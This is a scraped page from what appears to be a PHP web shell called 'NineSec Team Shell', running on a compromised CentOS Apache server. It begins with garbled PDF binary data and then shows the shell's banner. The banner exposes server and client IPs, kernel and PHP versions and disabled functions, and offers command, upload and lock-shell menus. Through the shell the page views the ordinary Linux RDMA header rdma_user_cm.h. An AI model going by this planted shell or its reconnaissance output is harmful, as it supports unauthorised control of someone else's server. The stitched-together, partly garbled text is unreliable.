%PDF-1.3 %âãÏÓ 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream xœ¥\mo7þ ÿa?îâñH£ÑÌàŠyi{¹$EÚ(i?¬cÇÞÄkûürAþý‰½Žv·EÛízF¢HI|H‘Ô?¿{Ø|Z|X|÷Ýñó‡‡õÇËó³Å‡ã77Û?O¾Ýž¿__l®×››ëãßOàя77çwß¿xñêåâÅÉÓ'Ç?ªÅ°8ùôôI] µûgQ»ÔB©¦2zaà³]œlÝûÅ|üôôɇåÛ՟‹“?}òƒ£ " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress NineSec Team Shell
NineSec Team Shell
Server IP : 10.0.3.46  /  Your IP : 172.70.127.234
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.2.34
System : Linux ukmjuara 3.10.0-1160.95.1.el7.x86_64 #1 SMP Mon Jul 24 13:59:37 UTC 2023 x86_64
User : apache ( 48)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : ON
Directory (0755) :  /usr/include/rdma/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : //usr/include/rdma/rdma_user_cm.h
/*
 * Copyright (c) 2005-2006 Intel Corporation.  All rights reserved.
 *
 * This software is available to you under a choice of one of two
 * licenses.  You may choose to be licensed under the terms of the GNU
 * General Public License (GPL) Version 2, available from the file
 * COPYING in the main directory of this source tree, or the
 * OpenIB.org BSD license below:
 *
 *     Redistribution and use in source and binary forms, with or
 *     without modification, are permitted provided that the following
 *     conditions are met:
 *
 *      - Redistributions of source code must retain the above
 *        copyright notice, this list of conditions and the following
 *        disclaimer.
 *
 *      - Redistributions in binary form must reproduce the above
 *        copyright notice, this list of conditions and the following
 *        disclaimer in the documentation and/or other materials
 *        provided with the distribution.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
 * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
 * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
 * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
 * BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
 * ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
 * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
 * SOFTWARE.
 */

#ifndef RDMA_USER_CM_H
#define RDMA_USER_CM_H

#include <linux/types.h>
#include <linux/socket.h>
#include <linux/in6.h>
#include <rdma/ib_user_verbs.h>
#include <rdma/ib_user_sa.h>

#define RDMA_USER_CM_ABI_VERSION	4

#define RDMA_MAX_PRIVATE_DATA		256

enum {
	RDMA_USER_CM_CMD_CREATE_ID,
	RDMA_USER_CM_CMD_DESTROY_ID,
	RDMA_USER_CM_CMD_BIND_IP,
	RDMA_USER_CM_CMD_RESOLVE_IP,
	RDMA_USER_CM_CMD_RESOLVE_ROUTE,
	RDMA_USER_CM_CMD_QUERY_ROUTE,
	RDMA_USER_CM_CMD_CONNECT,
	RDMA_USER_CM_CMD_LISTEN,
	RDMA_USER_CM_CMD_ACCEPT,
	RDMA_USER_CM_CMD_REJECT,
	RDMA_USER_CM_CMD_DISCONNECT,
	RDMA_USER_CM_CMD_INIT_QP_ATTR,
	RDMA_USER_CM_CMD_GET_EVENT,
	RDMA_USER_CM_CMD_GET_OPTION,
	RDMA_USER_CM_CMD_SET_OPTION,
	RDMA_USER_CM_CMD_NOTIFY,
	RDMA_USER_CM_CMD_JOIN_IP_MCAST,
	RDMA_USER_CM_CMD_LEAVE_MCAST,
	RDMA_USER_CM_CMD_MIGRATE_ID,
	RDMA_USER_CM_CMD_QUERY,
	RDMA_USER_CM_CMD_BIND,
	RDMA_USER_CM_CMD_RESOLVE_ADDR,
	RDMA_USER_CM_CMD_JOIN_MCAST
};

/* See IBTA Annex A11, servies ID bytes 4 & 5 */
enum rdma_ucm_port_space {
	RDMA_PS_IPOIB = 0x0002,
	RDMA_PS_IB    = 0x013F,
	RDMA_PS_TCP   = 0x0106,
	RDMA_PS_UDP   = 0x0111,
};

/*
 * command ABI structures.
 */
struct rdma_ucm_cmd_hdr {
	__u32 cmd;
	__u16 in;
	__u16 out;
};

struct rdma_ucm_create_id {
	__aligned_u64 uid;
	__aligned_u64 response;
	__u16 ps;                  /* use enum rdma_ucm_port_space */
	__u8  qp_type;
	__u8  reserved[5];
};

struct rdma_ucm_create_id_resp {
	__u32 id;
};

struct rdma_ucm_destroy_id {
	__aligned_u64 response;
	__u32 id;
	__u32 reserved;
};

struct rdma_ucm_destroy_id_resp {
	__u32 events_reported;
};

struct rdma_ucm_bind_ip {
	__aligned_u64 response;
	struct sockaddr_in6 addr;
	__u32 id;
};

struct rdma_ucm_bind {
	__u32 id;
	__u16 addr_size;
	__u16 reserved;
	struct __kernel_sockaddr_storage addr;
};

struct rdma_ucm_resolve_ip {
	struct sockaddr_in6 src_addr;
	struct sockaddr_in6 dst_addr;
	__u32 id;
	__u32 timeout_ms;
};

struct rdma_ucm_resolve_addr {
	__u32 id;
	__u32 timeout_ms;
	__u16 src_size;
	__u16 dst_size;
	__u32 reserved;
	struct __kernel_sockaddr_storage src_addr;
	struct __kernel_sockaddr_storage dst_addr;
};

struct rdma_ucm_resolve_route {
	__u32 id;
	__u32 timeout_ms;
};

enum {
	RDMA_USER_CM_QUERY_ADDR,
	RDMA_USER_CM_QUERY_PATH,
	RDMA_USER_CM_QUERY_GID
};

struct rdma_ucm_query {
	__aligned_u64 response;
	__u32 id;
	__u32 option;
};

struct rdma_ucm_query_route_resp {
	__aligned_u64 node_guid;
	struct ib_user_path_rec ib_route[2];
	struct sockaddr_in6 src_addr;
	struct sockaddr_in6 dst_addr;
	__u32 num_paths;
	__u8 port_num;
	__u8 reserved[3];
};

struct rdma_ucm_query_addr_resp {
	__aligned_u64 node_guid;
	__u8  port_num;
	__u8  reserved;
	__u16 pkey;
	__u16 src_size;
	__u16 dst_size;
	struct __kernel_sockaddr_storage src_addr;
	struct __kernel_sockaddr_storage dst_addr;
};

struct rdma_ucm_query_path_resp {
	__u32 num_paths;
	__u32 reserved;
	struct ib_path_rec_data path_data[0];
};

struct rdma_ucm_conn_param {
	__u32 qp_num;
	__u32 qkey;
	__u8  private_data[RDMA_MAX_PRIVATE_DATA];
	__u8  private_data_len;
	__u8  srq;
	__u8  responder_resources;
	__u8  initiator_depth;
	__u8  flow_control;
	__u8  retry_count;
	__u8  rnr_retry_count;
	__u8  valid;
};

struct rdma_ucm_ud_param {
	__u32 qp_num;
	__u32 qkey;
	struct ib_uverbs_ah_attr ah_attr;
	__u8  private_data[RDMA_MAX_PRIVATE_DATA];
	__u8  private_data_len;
	__u8  reserved[7];
};

struct rdma_ucm_connect {
	struct rdma_ucm_conn_param conn_param;
	__u32 id;
	__u32 reserved;
};

struct rdma_ucm_listen {
	__u32 id;
	__u32 backlog;
};

struct rdma_ucm_accept {
	__aligned_u64 uid;
	struct rdma_ucm_conn_param conn_param;
	__u32 id;
	__u32 reserved;
};

struct rdma_ucm_reject {
	__u32 id;
	__u8  private_data_len;
	__u8  reserved[3];
	__u8  private_data[RDMA_MAX_PRIVATE_DATA];
};

struct rdma_ucm_disconnect {
	__u32 id;
};

struct rdma_ucm_init_qp_attr {
	__aligned_u64 response;
	__u32 id;
	__u32 qp_state;
};

struct rdma_ucm_notify {
	__u32 id;
	__u32 event;
};

struct rdma_ucm_join_ip_mcast {
	__aligned_u64 response;		/* rdma_ucm_create_id_resp */
	__aligned_u64 uid;
	struct sockaddr_in6 addr;
	__u32 id;
};

/* Multicast join flags */
enum {
	RDMA_MC_JOIN_FLAG_FULLMEMBER,
	RDMA_MC_JOIN_FLAG_SENDONLY_FULLMEMBER,
	RDMA_MC_JOIN_FLAG_RESERVED,
};

struct rdma_ucm_join_mcast {
	__aligned_u64 response;		/* rdma_ucma_create_id_resp */
	__aligned_u64 uid;
	__u32 id;
	__u16 addr_size;
	__u16 join_flags;
	struct __kernel_sockaddr_storage addr;
};

struct rdma_ucm_get_event {
	__aligned_u64 response;
};

struct rdma_ucm_event_resp {
	__aligned_u64 uid;
	__u32 id;
	__u32 event;
	__u32 status;
	/*
	 * NOTE: This union is not aligned to 8 bytes so none of the union
	 * members may contain a u64 or anything with higher alignment than 4.
	 */
	union {
		struct rdma_ucm_conn_param conn;
		struct rdma_ucm_ud_param   ud;
	} param;
	__u32 reserved;
};

/* Option levels */
enum {
	RDMA_OPTION_ID		= 0,
	RDMA_OPTION_IB		= 1
};

/* Option details */
enum {
	RDMA_OPTION_ID_TOS	 = 0,
	RDMA_OPTION_ID_REUSEADDR = 1,
	RDMA_OPTION_ID_AFONLY	 = 2,
	RDMA_OPTION_IB_PATH	 = 1
};

struct rdma_ucm_set_option {
	__aligned_u64 optval;
	__u32 id;
	__u32 level;
	__u32 optname;
	__u32 optlen;
};

struct rdma_ucm_migrate_id {
	__aligned_u64 response;
	__u32 id;
	__u32 fd;
};

struct rdma_ucm_migrate_resp {
	__u32 events_reported;
};

#endif /* RDMA_USER_CM_H */

NineSec Team - 2022